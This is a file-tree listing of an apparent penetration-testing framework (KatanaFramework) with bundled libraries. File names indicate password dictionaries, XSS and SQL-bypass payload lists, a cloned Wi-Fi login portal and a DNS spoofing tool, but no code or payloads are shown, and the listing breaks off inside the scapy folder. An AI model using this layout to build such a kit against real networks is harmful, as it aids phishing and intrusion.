├── .gitignore
├── .python-version
├── .travis.yml
├── DISCLAIMER
├── LINETIME
├── README.md
├── core
├── APIs.py
├── Banner.py
├── Config.py
├── Default.py
├── Design.py
├── Errors.py
├── Function.py
├── GeneralCommands.py
├── Help.py
├── Information.py
├── Internal.py
├── KatanaFramework.py
├── MainListLibrary.py
├── Update.py
├── __init__.py
├── colors.py
├── logs
│ ├── Errors.log
│ ├── register.log
│ └── variables.globals.json
├── modules.xml
├── sessions
│ └── tor
├── shorts
│ ├── ktf.console
│ ├── ktf.gui
│ ├── ktf.ktf
│ ├── ktf.linker
│ ├── ktf.run
│ ├── ktf.tool
│ └── ktf.update
├── tools.xml
├── upgrade.py
└── version.json
├── del.pyc.bat
├── dependencies
├── doc
├── COPYING.GPL
├── LICENSE
├── Paper-ES.pdf
├── logos
│ ├── logo-320x104.png
│ └── logo-95x104.bmp
└── man
│ ├── ktf.console
│ └── ktf.tool
├── files
├── db
│ ├── Routerpass.dicc
│ ├── commons-dir-admin.tbl
│ ├── commons_subdomain.lst
│ ├── headersbrowser.list
│ ├── manuf.list
│ ├── pass.dicc
│ ├── payloadsXSS.lst
│ ├── sqlbypass.lst
│ └── user.dicc
├── dnschef
│ ├── dnschef.ini
│ └── dnschef.py
├── exiftool.tar
├── getdatareport.tar
├── hackerwifipwd
│ ├── index.php
│ └── lighttpd.cfg
├── test
│ ├── Proxys.txt
│ ├── host
│ ├── test.jpg
│ ├── test.rar
│ └── test.zip
├── tmtSMTP
│ ├── updateTwitter.tmp
│ └── updateaccount.template
└── wifi
│ └── tmp
│ └── neutral
│ ├── index.htm
│ ├── index_files
│ ├── bg_searchmodule.jpg
│ ├── estilos.css
│ ├── jquery_17.js
│ ├── loader.gif
│ ├── logosFooter.png
│ ├── logoune_new.png
│ ├── paguecon.png
│ ├── pat_header_404.png
│ ├── pixel.gif
│ ├── searcher.js
│ └── separador.png
│ └── post.php
├── install
├── ktf.console
├── ktf.gui.jar
├── ktf.ktf
├── ktf.linker
├── ktf.run
├── ktf.tool
├── ktf.update
├── lib
├── IPy
│ ├── .gitignore
│ ├── AUTHORS
│ ├── COPYING
│ ├── ChangeLog
│ ├── IPy.py
│ ├── MANIFEST.in
│ ├── Makefile
│ ├── README
│ ├── build
│ │ └── lib.linux-i686-2.7
│ │ │ └── IPy.py
│ ├── example
│ │ ├── confbuilder
│ │ └── confbuilder.py
│ ├── setup.py
│ ├── test
│ │ ├── test.rst
│ │ ├── test_IPy.py
│ │ └── test_fuzz.py
│ └── test_doc.py
├── MySQLdb
│ ├── .cvsignore
│ ├── __init__.py
│ ├── connections.py
│ ├── constants
│ │ ├── .cvsignore
│ │ ├── CLIENT.py
│ │ ├── CR.py
│ │ ├── ER.py
│ │ ├── FIELD_TYPE.py
│ │ ├── FLAG.py
│ │ ├── REFRESH.py
│ │ └── __init__.py
│ ├── converters.py
│ ├── cursors.py
│ ├── release.py
│ └── times.py
├── __init__.py
├── adb
│ ├── .gitignore
│ ├── .travis.yml
│ ├── __init__.py
│ └── adb
│ │ ├── __init__.py
│ │ ├── adb_commands.py
│ │ ├── adb_debug.py
│ │ ├── adb_protocol.py
│ │ ├── common.py
│ │ ├── common_cli.py
│ │ ├── fastboot.py
│ │ ├── fastboot_debug.py
│ │ ├── filesync_protocol.py
│ │ ├── sign_m2crypto.py
│ │ ├── sign_pythonrsa.py
│ │ └── usb_exceptions.py
├── bs4
│ ├── AUTHORS.txt
│ ├── COPYING.txt
│ ├── MANIFEST.in
│ ├── NEWS.txt
│ ├── PKG-INFO
│ ├── README.txt
│ ├── TODO.txt
│ ├── bs4
│ │ ├── __init__.py
│ │ ├── builder
│ │ │ ├── __init__.py
│ │ │ ├── _html5lib.py
│ │ │ ├── _htmlparser.py
│ │ │ └── _lxml.py
│ │ ├── dammit.py
│ │ ├── diagnose.py
│ │ ├── element.py
│ │ ├── testing.py
│ │ └── tests
│ │ │ ├── __init__.py
│ │ │ ├── test_builder_registry.py
│ │ │ ├── test_docs.py
│ │ │ ├── test_html5lib.py
│ │ │ ├── test_htmlparser.py
│ │ │ ├── test_lxml.py
│ │ │ ├── test_soup.py
│ │ │ └── test_tree.py
│ ├── convert-py3k
│ ├── doc.zh
│ │ ├── Makefile
│ │ └── source
│ │ │ └── conf.py
│ ├── doc
│ │ ├── Makefile
│ │ └── source
│ │ │ ├── 6.1.jpg
│ │ │ ├── conf.py
│ │ │ └── index.rst
│ ├── scripts
│ │ ├── demonstrate_parser_differences.py
│ │ └── demonstration_markup.txt
│ ├── setup.cfg
│ ├── setup.py
│ └── test-all-versions
├── dnslib
│ ├── MANIFEST.in
│ ├── PKG-INFO
│ ├── README
│ ├── README.github
│ ├── build
│ │ └── lib.linux-i686-2.7
│ │ │ └── dnslib
│ │ │ ├── __init__.py
│ │ │ ├── bimap.py
│ │ │ ├── bit.py
│ │ │ ├── buffer.py
│ │ │ ├── client.py
│ │ │ ├── digparser.py
│ │ │ ├── dns.py
│ │ │ ├── fixedresolver.py
│ │ │ ├── intercept.py
│ │ │ ├── label.py
│ │ │ ├── lex.py
│ │ │ ├── proxy.py
│ │ │ ├── ranges.py
│ │ │ ├── server.py
│ │ │ ├── shellresolver.py
│ │ │ ├── test_decode.py
│ │ │ └── zoneresolver.py
│ ├── dist
│ │ └── dnslib-0.9.6-py2.7.egg
│ ├── dnslib.egg-info
│ │ ├── PKG-INFO
│ │ ├── SOURCES.txt
│ │ ├── dependency_links.txt
│ │ └── top_level.txt
│ ├── dnslib
│ │ ├── __init__.py
│ │ ├── bimap.py
│ │ ├── bit.py
│ │ ├── buffer.py
│ │ ├── client.py
│ │ ├── digparser.py
│ │ ├── dns.py
│ │ ├── fixedresolver.py
│ │ ├── intercept.py
│ │ ├── label.py
│ │ ├── lex.py
│ │ ├── proxy.py
│ │ ├── ranges.py
│ │ ├── server.py
│ │ ├── shellresolver.py
│ │ ├── test
│ │ │ ├── 20120113._domainkey.gmail.com.-TXT
│ │ │ ├── _sip._udp.sipgate.co.uk-SRV
│ │ │ ├── dig
│ │ │ │ ├── google.com-A.dig
│ │ │ │ └── google.com-ANY.dig
│ │ │ ├── e164.org-NAPTR
│ │ │ ├── example.com-ANY
│ │ │ ├── facebook.com-AAAA
│ │ │ ├── google.com-A
│ │ │ ├── google.com-AAAA
│ │ │ ├── google.com-ANY
│ │ │ ├── google.com-MX
│ │ │ ├── google.com-SOA
│ │ │ ├── google.com-TXT
│ │ │ ├── iana.org-ANY
│ │ │ ├── in-addr.arpa-PTR
│ │ │ ├── microsoft.com-ANY
│ │ │ ├── sip2sip.info-ANY
│ │ │ ├── sip2sip.info-NAPTR
│ │ │ └── sipgate.co.uk-ANY
│ │ ├── test_decode.py
│ │ └── zoneresolver.py
│ ├── fuzz.py
│ ├── run_tests.sh
│ ├── setup.cfg
│ └── setup.py
├── ftplib
│ ├── __init__.py
│ └── ftplib.py
├── future
│ ├── .travis.yml
│ ├── LICENSE.txt
│ ├── MANIFEST.in
│ ├── PKG-INFO
│ ├── README.rst
│ ├── TESTING.txt
│ ├── check_rst.sh
│ ├── discover_tests.py
│ ├── docs
│ │ ├── 3rd-party-py3k-compat-code
│ │ │ ├── astropy_py3compat.py
│ │ │ ├── django_utils_encoding.py
│ │ │ ├── gevent_py3k.py
│ │ │ ├── ipython_py3compat.py
│ │ │ ├── jinja2_compat.py
│ │ │ ├── numpy_py3k.py
│ │ │ ├── pandas_py3k.py
│ │ │ ├── pycrypto_py3compat.py
│ │ │ └── statsmodels_py3k.py
│ │ ├── Makefile
│ │ ├── _static
│ │ │ ├── python-future-icon-32.ico
│ │ │ ├── python-future-icon-white-32.ico
│ │ │ ├── python-future-logo-textless-transparent.png
│ │ │ ├── python-future-logo.png
│ │ │ └── python-future-logo.tiff
│ │ ├── _templates
│ │ │ ├── layout.html
│ │ │ ├── navbar.html
│ │ │ ├── sidebarintro.html
│ │ │ ├── sidebarlogo.html
│ │ │ └── sidebartoc.html
│ │ ├── _themes
│ │ │ ├── LICENSE
│ │ │ ├── README
│ │ │ └── future
│ │ │ │ ├── layout.html
│ │ │ │ ├── relations.html
│ │ │ │ ├── static
│ │ │ │ └── future.css_t
│ │ │ │ └── theme.conf
│ │ ├── automatic_conversion.rst
│ │ ├── bind_method.rst
│ │ ├── bytes_object.rst
│ │ ├── changelog.rst
│ │ ├── compatible_idioms.rst
│ │ ├── conf.py
│ │ ├── contents.rst.inc
│ │ ├── conversion_limitations.rst
│ │ ├── credits.rst
│ │ ├── custom_iterators.rst
│ │ ├── custom_str_methods.rst
│ │ ├── dev_notes.rst
│ │ ├── development.rst
│ │ ├── dict_object.rst
│ │ ├── faq.rst
│ │ ├── func_annotations.rst
│ │ ├── future-builtins.rst
│ │ ├── futureext.py
│ │ ├── futurize.rst
│ │ ├── futurize_cheatsheet.rst
│ │ ├── futurize_overview.rst
│ │ ├── hindsight.rst
│ │ ├── imports.rst
│ │ ├── index.rst
│ │ ├── int_object.rst
│ │ ├── isinstance.rst
│ │ ├── limitations.rst
│ │ ├── metaclasses.rst
│ │ ├── notebooks
│ │ │ ├── Writing Python 2-3 compatible code.ipynb
│ │ │ ├── bytes object.ipynb
│ │ │ └── object special methods (next, bool, ...).ipynb
│ │ ├── older_interfaces.rst
│ │ ├── open_function.rst
│ │ ├── other
│ │ │ ├── auto2to3.py
│ │ │ ├── find_pattern.py
│ │ │ ├── fix_notebook_html_colour.py
│ │ │ ├── lessons.txt
│ │ │ ├── todo.txt
│ │ │ ├── upload_future_docs.sh
│ │ │ └── useful_links.txt
│ │ ├── overview.rst
│ │ ├── pasteurize.rst
│ │ ├── quickstart.rst
│ │ ├── reference.rst
│ │ ├── roadmap.rst
│ │ ├── standard_library_imports.rst
│ │ ├── stdlib_incompatibilities.rst
│ │ ├── str_object.rst
│ │ ├── translation.rst
│ │ ├── unicode_literals.rst
│ │ ├── upgrading.rst
│ │ ├── utilities.rst
│ │ ├── what_else.rst
│ │ ├── whatsnew.rst
│ │ └── why_python3.rst
│ ├── futurize.py
│ ├── pasteurize.py
│ ├── pytest.ini
│ ├── requirements_py26.txt
│ ├── setup.cfg
│ ├── setup.py
│ ├── src
│ │ ├── __init__.py
│ │ ├── _dummy_thread
│ │ │ └── __init__.py
│ │ ├── _markupbase
│ │ │ └── __init__.py
│ │ ├── _thread
│ │ │ └── __init__.py
│ │ ├── builtins
│ │ │ └── __init__.py
│ │ ├── copyreg
│ │ │ └── __init__.py
│ │ ├── future
│ │ │ ├── __init__.py
│ │ │ ├── backports
│ │ │ │ ├── __init__.py
│ │ │ │ ├── _markupbase.py
│ │ │ │ ├── datetime.py
│ │ │ │ ├── email
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── _encoded_words.py
│ │ │ │ │ ├── _header_value_parser.py
│ │ │ │ │ ├── _parseaddr.py
│ │ │ │ │ ├── _policybase.py
│ │ │ │ │ ├── base64mime.py
│ │ │ │ │ ├── charset.py
│ │ │ │ │ ├── encoders.py
│ │ │ │ │ ├── errors.py
│ │ │ │ │ ├── feedparser.py
│ │ │ │ │ ├── generator.py
│ │ │ │ │ ├── header.py
│ │ │ │ │ ├── headerregistry.py
│ │ │ │ │ ├── iterators.py
│ │ │ │ │ ├── message.py
│ │ │ │ │ ├── mime
│ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ ├── application.py
│ │ │ │ │ │ ├── audio.py
│ │ │ │ │ │ ├── base.py
│ │ │ │ │ │ ├── image.py
│ │ │ │ │ │ ├── message.py
│ │ │ │ │ │ ├── multipart.py
│ │ │ │ │ │ ├── nonmultipart.py
│ │ │ │ │ │ └── text.py
│ │ │ │ │ ├── parser.py
│ │ │ │ │ ├── policy.py
│ │ │ │ │ ├── quoprimime.py
│ │ │ │ │ └── utils.py
│ │ │ │ ├── html
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── entities.py
│ │ │ │ │ └── parser.py
│ │ │ │ ├── http
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── client.py
│ │ │ │ │ ├── cookiejar.py
│ │ │ │ │ ├── cookies.py
│ │ │ │ │ └── server.py
│ │ │ │ ├── misc.py
│ │ │ │ ├── socket.py
│ │ │ │ ├── socketserver.py
│ │ │ │ ├── test
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── badcert.pem
│ │ │ │ │ ├── badkey.pem
│ │ │ │ │ ├── dh512.pem
│ │ │ │ │ ├── https_svn_python_org_root.pem
│ │ │ │ │ ├── keycert.passwd.pem
│ │ │ │ │ ├── keycert.pem
│ │ │ │ │ ├── keycert2.pem
│ │ │ │ │ ├── nokia.pem
│ │ │ │ │ ├── nullbytecert.pem
│ │ │ │ │ ├── nullcert.pem
│ │ │ │ │ ├── pystone.py
│ │ │ │ │ ├── sha256.pem
│ │ │ │ │ ├── ssl_cert.pem
│ │ │ │ │ ├── ssl_key.passwd.pem
│ │ │ │ │ ├── ssl_key.pem
│ │ │ │ │ ├── ssl_servers.py
│ │ │ │ │ └── support.py
│ │ │ │ ├── total_ordering.py
│ │ │ │ ├── urllib
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── error.py
│ │ │ │ │ ├── parse.py
│ │ │ │ │ ├── request.py
│ │ │ │ │ ├── response.py
│ │ │ │ │ └── robotparser.py
│ │ │ │ └── xmlrpc
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── client.py
│ │ │ │ │ └── server.py
│ │ │ ├── builtins
│ │ │ │ ├── __init__.py
│ │ │ │ ├── disabled.py
│ │ │ │ ├── iterators.py
│ │ │ │ ├── misc.py
│ │ │ │ ├── newnext.py
│ │ │ │ ├── newround.py
│ │ │ │ └── newsuper.py
│ │ │ ├── moves
│ │ │ │ ├── __init__.py
│ │ │ │ ├── _dummy_thread.py
│ │ │ │ ├── _markupbase.py
│ │ │ │ ├── _thread.py
│ │ │ │ ├── builtins.py
│ │ │ │ ├── collections.py
│ │ │ │ ├── configparser.py
│ │ │ │ ├── copyreg.py
│ │ │ │ ├── dbm
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── dumb.py
│ │ │ │ │ ├── gnu.py
│ │ │ │ │ └── ndbm.py
│ │ │ │ ├── html
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── entities.py
│ │ │ │ │ └── parser.py
│ │ │ │ ├── http
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── client.py
│ │ │ │ │ ├── cookiejar.py
│ │ │ │ │ ├── cookies.py
│ │ │ │ │ └── server.py
│ │ │ │ ├── itertools.py
│ │ │ │ ├── pickle.py
│ │ │ │ ├── queue.py
│ │ │ │ ├── reprlib.py
│ │ │ │ ├── socketserver.py
│ │ │ │ ├── subprocess.py
│ │ │ │ ├── sys.py
│ │ │ │ ├── test
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ └── support.py
│ │ │ │ ├── tkinter
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── colorchooser.py
│ │ │ │ │ ├── commondialog.py
│ │ │ │ │ ├── constants.py
│ │ │ │ │ ├── dialog.py
│ │ │ │ │ ├── dnd.py
│ │ │ │ │ ├── filedialog.py
│ │ │ │ │ ├── font.py
│ │ │ │ │ ├── messagebox.py
│ │ │ │ │ ├── scrolledtext.py
│ │ │ │ │ ├── simpledialog.py
│ │ │ │ │ ├── tix.py
│ │ │ │ │ └── ttk.py
│ │ │ │ ├── urllib
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── error.py
│ │ │ │ │ ├── parse.py
│ │ │ │ │ ├── request.py
│ │ │ │ │ ├── response.py
│ │ │ │ │ └── robotparser.py
│ │ │ │ ├── winreg.py
│ │ │ │ └── xmlrpc
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── client.py
│ │ │ │ │ └── server.py
│ │ │ ├── standard_library
│ │ │ │ └── __init__.py
│ │ │ ├── tests
│ │ │ │ ├── __init__.py
│ │ │ │ └── base.py
│ │ │ ├── types
│ │ │ │ ├── __init__.py
│ │ │ │ ├── newbytes.py
│ │ │ │ ├── newdict.py
│ │ │ │ ├── newint.py
│ │ │ │ ├── newlist.py
│ │ │ │ ├── newmemoryview.py
│ │ │ │ ├── newobject.py
│ │ │ │ ├── newopen.py
│ │ │ │ ├── newrange.py
│ │ │ │ └── newstr.py
│ │ │ └── utils
│ │ │ │ ├── __init__.py
│ │ │ │ └── surrogateescape.py
│ │ ├── html
│ │ │ ├── __init__.py
│ │ │ ├── entities.py
│ │ │ └── parser.py
│ │ ├── http
│ │ │ ├── __init__.py
│ │ │ ├── client.py
│ │ │ ├── cookiejar.py
│ │ │ ├── cookies.py
│ │ │ └── server.py
│ │ ├── libfuturize
│ │ │ ├── __init__.py
│ │ │ ├── fixer_util.py
│ │ │ ├── fixes
│ │ │ │ ├── __init__.py
│ │ │ │ ├── fix_UserDict.py
│ │ │ │ ├── fix_absolute_import.py
│ │ │ │ ├── fix_add__future__imports_except_unicode_literals.py
│ │ │ │ ├── fix_basestring.py
│ │ │ │ ├── fix_bytes.py
│ │ │ │ ├── fix_cmp.py
│ │ │ │ ├── fix_division.py
│ │ │ │ ├── fix_division_safe.py
│ │ │ │ ├── fix_execfile.py
│ │ │ │ ├── fix_future_builtins.py
│ │ │ │ ├── fix_future_standard_library.py
│ │ │ │ ├── fix_future_standard_library_urllib.py
│ │ │ │ ├── fix_metaclass.py
│ │ │ │ ├── fix_next_call.py
│ │ │ │ ├── fix_object.py
│ │ │ │ ├── fix_oldstr_wrap.py
│ │ │ │ ├── fix_order___future__imports.py
│ │ │ │ ├── fix_print.py
│ │ │ │ ├── fix_print_with_import.py
│ │ │ │ ├── fix_raise.py
│ │ │ │ ├── fix_remove_old__future__imports.py
│ │ │ │ ├── fix_unicode_keep_u.py
│ │ │ │ ├── fix_unicode_literals_import.py
│ │ │ │ └── fix_xrange_with_import.py
│ │ │ └── main.py
│ │ ├── libpasteurize
│ │ │ ├── __init__.py
│ │ │ ├── fixes
│ │ │ │ ├── __init__.py
│ │ │ │ ├── feature_base.py
│ │ │ │ ├── fix_add_all__future__imports.py
│ │ │ │ ├── fix_add_all_future_builtins.py
│ │ │ │ ├── fix_add_future_standard_library_import.py
│ │ │ │ ├── fix_annotations.py
│ │ │ │ ├── fix_division.py
│ │ │ │ ├── fix_features.py
│ │ │ │ ├── fix_fullargspec.py
│ │ │ │ ├── fix_future_builtins.py
│ │ │ │ ├── fix_getcwd.py
│ │ │ │ ├── fix_imports.py
│ │ │ │ ├── fix_imports2.py
│ │ │ │ ├── fix_kwargs.py
│ │ │ │ ├── fix_memoryview.py
│ │ │ │ ├── fix_metaclass.py
│ │ │ │ ├── fix_newstyle.py
│ │ │ │ ├── fix_next.py
│ │ │ │ ├── fix_printfunction.py
│ │ │ │ ├── fix_raise.py
│ │ │ │ ├── fix_raise_.py
│ │ │ │ ├── fix_throw.py
│ │ │ │ └── fix_unpacking.py
│ │ │ └── main.py
│ │ ├── past
│ │ │ ├── __init__.py
│ │ │ ├── builtins
│ │ │ │ ├── __init__.py
│ │ │ │ ├── misc.py
│ │ │ │ └── noniterators.py
│ │ │ ├── tests
│ │ │ │ └── __init__.py
│ │ │ ├── translation
│ │ │ │ └── __init__.py
│ │ │ ├── types
│ │ │ │ ├── __init__.py
│ │ │ │ ├── basestring.py
│ │ │ │ ├── olddict.py
│ │ │ │ └── oldstr.py
│ │ │ └── utils
│ │ │ │ └── __init__.py
│ │ ├── queue
│ │ │ └── __init__.py
│ │ ├── reprlib
│ │ │ └── __init__.py
│ │ ├── socketserver
│ │ │ └── __init__.py
│ │ ├── tkinter
│ │ │ ├── __init__.py
│ │ │ ├── colorchooser.py
│ │ │ ├── commondialog.py
│ │ │ ├── constants.py
│ │ │ ├── dialog.py
│ │ │ ├── dnd.py
│ │ │ ├── filedialog.py
│ │ │ ├── font.py
│ │ │ ├── messagebox.py
│ │ │ ├── scrolledtext.py
│ │ │ ├── simpledialog.py
│ │ │ ├── tix.py
│ │ │ └── ttk.py
│ │ ├── winreg
│ │ │ └── __init__.py
│ │ └── xmlrpc
│ │ │ ├── __init__.py
│ │ │ ├── client.py
│ │ │ └── server.py
│ └── tests
│ │ ├── test_future
│ │ ├── __init__.py
│ │ ├── test_backports.py
│ │ ├── test_buffer.py
│ │ ├── test_builtins.py
│ │ ├── test_builtins_explicit_import.py
│ │ ├── test_bytes.py
│ │ ├── test_common_iterators.py
│ │ ├── test_decorators.py
│ │ ├── test_dict.py
│ │ ├── test_explicit_imports.py
│ │ ├── test_futurize.py
│ │ ├── test_html.py
│ │ ├── test_htmlparser.py
│ │ ├── test_http_cookiejar.py
│ │ ├── test_httplib.py
│ │ ├── test_import_star.py
│ │ ├── test_imports_httplib.py
│ │ ├── test_imports_urllib.py
│ │ ├── test_int.py
│ │ ├── test_int_old_division.py
│ │ ├── test_isinstance.py
│ │ ├── test_libfuturize_fixers.py
│ │ ├── test_list.py
│ │ ├── test_magicsuper.py
│ │ ├── test_object.py
│ │ ├── test_pasteurize.py
│ │ ├── test_py2_str_literals_to_bytes.py
│ │ ├── test_range.py
│ │ ├── test_requests.py
│ │ ├── test_standard_library.py
│ │ ├── test_str.py
│ │ ├── test_super.py
│ │ ├── test_surrogateescape.py
│ │ ├── test_urllib.py
│ │ ├── test_urllib2.py
│ │ ├── test_urllib_response.py
│ │ ├── test_urllib_toplevel.py
│ │ ├── test_urllibnet.py
│ │ ├── test_urlparse.py
│ │ └── test_utils.py
│ │ └── test_past
│ │ ├── __init__.py
│ │ ├── test_basestring.py
│ │ ├── test_builtins.py
│ │ ├── test_noniterators.py
│ │ ├── test_olddict.py
│ │ ├── test_oldstr.py
│ │ └── test_translation.py
├── libusb1
│ ├── COPYING
│ ├── COPYING.LESSER
│ ├── MANIFEST.in
│ ├── PKG-INFO
│ ├── README.rst
│ ├── build
│ │ └── lib.linux-i686-2.7
│ │ │ ├── libusb1.py
│ │ │ └── usb1.py
│ ├── dist
│ │ └── libusb1-1.5.1-py2.7.egg
│ ├── examples
│ │ ├── README
│ │ ├── hotplug.py
│ │ ├── hotplug_advanced.py
│ │ └── listdevs.py
│ ├── libusb1.egg-info
│ │ ├── PKG-INFO
│ │ ├── SOURCES.txt
│ │ ├── dependency_links.txt
│ │ ├── pbr.json
│ │ └── top_level.txt
│ ├── libusb1.py
│ ├── setup.cfg
│ ├── setup.py
│ ├── stdeb.cfg
│ ├── testUSB1.py
│ └── usb1.py
├── postfile
│ ├── __init__.py
│ └── postfile.py
├── pysock
│ ├── LICENSE
│ ├── PKG-INFO
│ ├── README.md
│ ├── __init__.py
│ ├── setup.py
│ ├── socks.py
│ ├── sockshandler.py
│ └── test
│ │ ├── README
│ │ ├── httpproxy.py
│ │ ├── mocks
│ │ ├── mocks.conf
│ │ ├── socks4server.py
│ │ ├── sockstest.py
│ │ └── test.sh
├── rarfile
│ ├── LICENSE
│ ├── MANIFEST.in
│ ├── Makefile
│ ├── PKG-INFO
│ ├── RARfile.py
│ ├── README.rst
│ ├── __init__.py
│ ├── dumprar.py
│ └── setup.py
├── scapy
│ ├── MANIFEST.in
│ ├── PKG-INFO
│ ├── bin
│ │ ├── UTscapy
│ │ ├── UTscapy.bat
│ │ ├── scapy
│ │ └── scapy.bat
│ ├── build
│ │ ├── lib.linux-i686-2.7
│ │ │ └── scapy
│ │ │ │ ├── __init__.py
│ │ │ │ ├── all.py
│ │ │ │ ├── ansmachine.py
│ │ │ │ ├── arch
│ │ │ │ ├── __init__.py
│ │ │ │ ├── bsd.py
│ │ │ │ ├── linux.py
│ │ │ │ ├── pcapdnet.py
│ │ │ │ ├── solaris.py
│ │ │ │ ├── unix.py
│ │ │ │ └── windows
│ │ │ │ │ └── __init__.py
│ │ │ │ ├── as_resolvers.py
│ │ │ │ ├── asn1
│ │ │ │ ├── __init__.py
│ │ │ │ ├── asn1.py
│ │ │ │ ├── ber.py
│ │ │ │ └── mib.py
│ │ │ │ ├── asn1fields.py
│ │ │ │ ├── asn1packet.py
│ │ │ │ ├── automaton.py
│ │ │ │ ├── autorun.py
│ │ │ │ ├── base_classes.py
│ │ │ │ ├── config.py
│ │ │ │ ├── contrib
│ │ │ │ ├── __init__.py
│ │ │ │ ├── avs.py
│ │ │ │ ├── bgp.py
│ │ │ │ ├── carp.py
│ │ │ │ ├── cdp.py
│ │ │ │ ├── chdlc.py
│ │ │ │ ├── dtp.py
│ │ │ │ ├── eigrp.py
│ │ │ │ ├── etherip.py
│ │ │ │ ├── gsm_um.py
│ │ │ │ ├── igmp.py
│ │ │ │ ├── igmpv3.py
│ │ │ │ ├── ikev2.py
│ │ │ │ ├── ldp.py
│ │ │ │ ├── mpls.py
│ │ │ │ ├── ospf.py
│ │ │ │ ├── ppi.py
│ │ │ │ ├── ppi_cace.py
│ │ │ │ ├── ppi_geotag.py
│ │ │ │ ├── ripng.py
│ │ │ │ ├── rsvp.py
│ │ │ │ ├── skinny.py
│ │ │ │ ├── ubberlogger.py
│ │ │ │ ├── vqp.py
│ │ │ │ ├── vtp.py
│ │ │ │ └── wpa_eapol.py
│ │ │ │ ├── crypto
│ │ │ │ ├── __init__.py
│ │ │ │ └── cert.py
│ │ │ │ ├── dadict.py
│ │ │ │ ├── data.py
│ │ │ │ ├── error.py
│ │ │ │ ├── fields.py
│ │ │ │ ├── layers
│ │ │ │ ├── __init__.py
│ │ │ │ ├── all.py
│ │ │ │ ├── bluetooth.py
│ │ │ │ ├── dhcp.py
│ │ │ │ ├── dhcp6.py
│ │ │ │ ├── dns.py
│ │ │ │ ├── dot11.py
│ │ │ │ ├── gprs.py
│ │ │ │ ├── hsrp.py
│ │ │ │ ├── inet.py
│ │ │ │ ├── inet6.py
│ │ │ │ ├── ipsec.py
│ │ │ │ ├── ir.py
│ │ │ │ ├── isakmp.py
│ │ │ │ ├── l2.py
│ │ │ │ ├── l2tp.py
│ │ │ │ ├── llmnr.py
│ │ │ │ ├── mgcp.py
│ │ │ │ ├── mobileip.py
│ │ │ │ ├── netbios.py
│ │ │ │ ├── netflow.py
│ │ │ │ ├── ntp.py
│ │ │ │ ├── pflog.py
│ │ │ │ ├── ppp.py
│ │ │ │ ├── radius.py
│ │ │ │ ├── rip.py
│ │ │ │ ├── rtp.py
│ │ │ │ ├── sctp.py
│ │ │ │ ├── sebek.py
│ │ │ │ ├── skinny.py
│ │ │ │ ├── smb.py
│ │ │ │ ├── snmp.py
│ │ │ │ ├── tftp.py
│ │ │ │ ├── vrrp.py
│ │ │ │ └── x509.py
│ │ │ │ ├── main.py
│ │ │ │ ├── modules
│ │ │ │ ├── __init__.py
│ │ │ │ ├── geoip.py
│ │ │ │ ├── nmap.py
│ │ │ │ ├── p0f.py
│ │ │ │ ├── queso.py
│ │ │ │ └── voip.py
│ │ │ │ ├── packet.py
│ │ │ │ ├── pipetool.py
│ │ │ │ ├── plist.py
│ │ │ │ ├── pton_ntop.py
│ │ │ │ ├── route.py
│ │ │ │ ├── route6.py
│ │ │ │ ├── scapypipes.py
│ │ │ │ ├── sendrecv.py
│ │ │ │ ├── supersocket.py
│ │ │ │ ├── themes.py
│ │ │ │ ├── tools
│ │ │ │ ├── UTscapy.py
│ │ │ │ ├── __init__.py
│ │ │ │ └── check_asdis.py
│ │ │ │ ├── utils.py
│ │ │ │ ├── utils6.py
│ │ │ │ └── volatile.py
│ │ └── scripts-2.7
│ │ │ ├── UTscapy
│ │ │ └── scapy
│ ├── doc
│ │ ├── scapy.1.gz
│ │ └── scapy
│ │ │ ├── Makefile
│ │ │ ├── README
│ │ │ ├── _static
│ │ │ └── _dummy
│ │ │ ├── _templates
│ │ │ └── _dummy
│ │ │ ├── advanced_usage.rst
│ │ │ ├── backmatter.rst
│ │ │ ├── build_dissect.rst
│ │ │ ├── conf.py
│ │ │ ├── development.rst
│ │ │ ├── extending.rst
│ │ │ ├── graphics
│ │ │ ├── ATMT_HelloWorld.png
│ │ │ ├── ATMT_TFTP_read.png
│ │ │ ├── command-ls.png
│ │ │ ├── default-values-ip.pdf
│ │ │ ├── default-values-ip.png
│ │ │ ├── fieldsmanagement.pdf
│ │ │ ├── fieldsmanagement.png
│ │ │ ├── graph_traceroute.png
│ │ │ ├── ipid.png
│ │ │ ├── isakmp_dump.png
│ │ │ ├── scapy-concept.pdf
│ │ │ ├── scapy-concept.png
│ │ │ ├── scapy-win-screenshot1.png
│ │ │ ├── scapy-win-screenshot2.png
│ │ │ ├── testing-taxonomy.png
│ │ │ ├── trace3d_1.png
│ │ │ └── trace3d_2.png
│ │ │ ├── index.rst
│ │ │ ├── installation.rst
│ │ │ ├── introduction.rst
│ │ │ ├── troubleshooting.rst
│ │ │ └── usage.rst
│ ├── run_scapy
│ ├── scapy
│ │ ├── __init__.py
│ │ ├── all.py
│ │ ├── ansmachine.py
│ │ ├── arch
│ │ │ ├── __init__.py
│ │ │ ├── bsd.py
│ │ │ ├── linux.py
│ │ │ ├── pcapdnet.py
│ │ │ ├── solaris.py
│ │ │ ├── unix.py
│ │ │ └── windows
│ │ │ │ └── __init__.py
│ │ ├── as_resolvers.py
│ │ ├── asn1
│ │ │ ├── __init__.py
│ │ │ ├── asn1.py
│ │ │ ├── ber.py
│ │ │ └── mib.py
│ │ ├── asn1fields.py
│ │ ├── asn1packet.py
│ │ ├── automaton.py
│ │ ├── autorun.py
│ │ ├── base_classes.py
│ │ ├── config.py
│ │ ├── contrib
│ │ │ ├── __init__.py
│ │ │ ├── avs.py
│ │ │ ├── bgp.py
│ │ │ ├── carp.py
│ │ │ ├── cdp.py
│ │ │ ├── chdlc.py
│ │ │ ├── dtp.py
│ │ │ ├── eigrp.py
│ │ │ ├── etherip.py
│ │ │ ├── gsm_um.py
│ │ │ ├── igmp.py
│ │ │ ├── igmpv3.py
│ │ │ ├── ikev2.py
